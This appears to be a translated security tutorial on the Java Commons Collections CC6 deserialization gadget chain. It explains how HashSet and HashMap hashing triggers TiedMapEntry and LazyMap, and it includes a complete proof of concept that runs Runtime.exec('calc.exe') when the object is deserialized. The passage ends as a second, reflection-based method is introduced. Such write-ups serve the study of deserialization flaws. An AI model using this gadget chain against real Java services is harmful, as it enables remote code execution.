Test environment:

jdk1.8(jdk8u71)

Commons Collections4.0

HashSet

HashSet uses the data structure of the Hash table. The time complexity of adding, deleting, modifying and querying is O(1). Set is a set. The elements are not added in order, and there will be no duplicate elements in the set. Combined with this, we can roughly know the general attributes of HashSet. The specific algorithm for whether to repeat is to judge whether to repeat according to the equals() method of the Object to which the element belongs, The default is the method of the parent class Object. It will compare whether the references are the same. This method can be overridden. For example, the String class rewrites this method to compare whether the contents are the same

 

Hash algorithm and the solution of hash conflict. Moreover, the storage structure of nodes in different JDK versions is different, the whole is complex, and there are many contents related to data structure. We will analyze it in detail later, jdk1 7 uses the chain address method to deal with hash conflicts, jdk1 8 in the chain address method, red black tree is introduced to deal with hash conflict

Core utilization chain

        Transformer[] transformers=new Transformer[]{
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
          new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
          new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
        };
        Transformer chainedTransformer=new ChainedTransformer(transformers);
        Map lazyMap=LazyMap.lazyMap(new HashMap(),chainedTransformer);

Based on hashCode, another method of TiedMapEntry class in cc5, this method will return an integer to calculate the hash value. HashSet and HashMap class will store elements in a certain position in the set through a series of algorithms according to the hash value. Therefore, this method will be used in HashMap and HashSet, and the bottom layer of HashSet is based on HashMap, so the call of hashode is in HashMap, The function of hash() method is to perform some operations on hashCode, so as to reduce the probability of hash conflict and obtain a hash value, that is, the position of elements in the set. The following figure is jdk1 The hash() method of 7 and the hash() method of 1.8 are changed

Then call the hash() method through the put function. Each time you call the put method to add elements to the set, you will call the hash method to calculate the hash value. Briefly, the implementation principle of the put (jdk1.7) method is to judge whether the set is empty. If it is empty, you will call the expandable method to create a fixed size set. This method can also be used to expand the capacity, and then judge whether the key is empty, If it is empty, the result of PutfornullKey(value) will be returned, and then the hash value of the key will be obtained and looked up in the combination. Because the chain address method is used, a loop will be used to traverse the linked list stored by the node. Here, it will judge whether there are the same keys, use equals to judge, and if there are, it will assign values, and then return OldValue. If the loop is not returned, it means that this key is not repeated, Call addEntry to add an element.

Back to the point, HashSet rewrites the readObject method, which will deserialize the stored elements one by one and add them to the collection, so it will call the put method, so that the last part of the utilization chain can be constructed.

 

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in any hidden serialization magic
    s.defaultReadObject();

    // Read in HashMap capacity and load factor and create backing HashMap
    int capacity = s.readInt();
    float loadFactor = s.readFloat();
    map = (((HashSet)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // Read in size
    int size = s.readInt();

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

We can construct poc in two ways

1. Directly add TiedMapEntry to Hash Set
2. Get nodes through reflection and add TiedMapEntry

Write POC

The first way:

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC6Poc {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers=new Transformer[]{
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
          new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
          new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
        };
        Transformer chainedTransformer=new ChainedTransformer(transformers);
        Map lazyMap=LazyMap.lazyMap(new HashMap(),chainedTransformer);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"asd");
        HashSet hashSet=new HashSet();
        hashSet.add(tiedMapEntry);

        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashSet);
        objectOutputStream.close();
        //serialize
        ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}

The second way is through reflection assignment. We need to obtain a Node through reflection and assign our TideMapEntry. In the past, Node and TideMapEntry can be assigned directly because they both implement the Entry interface. Here, we need to involve the underlying implementation class HashMap of HashSet.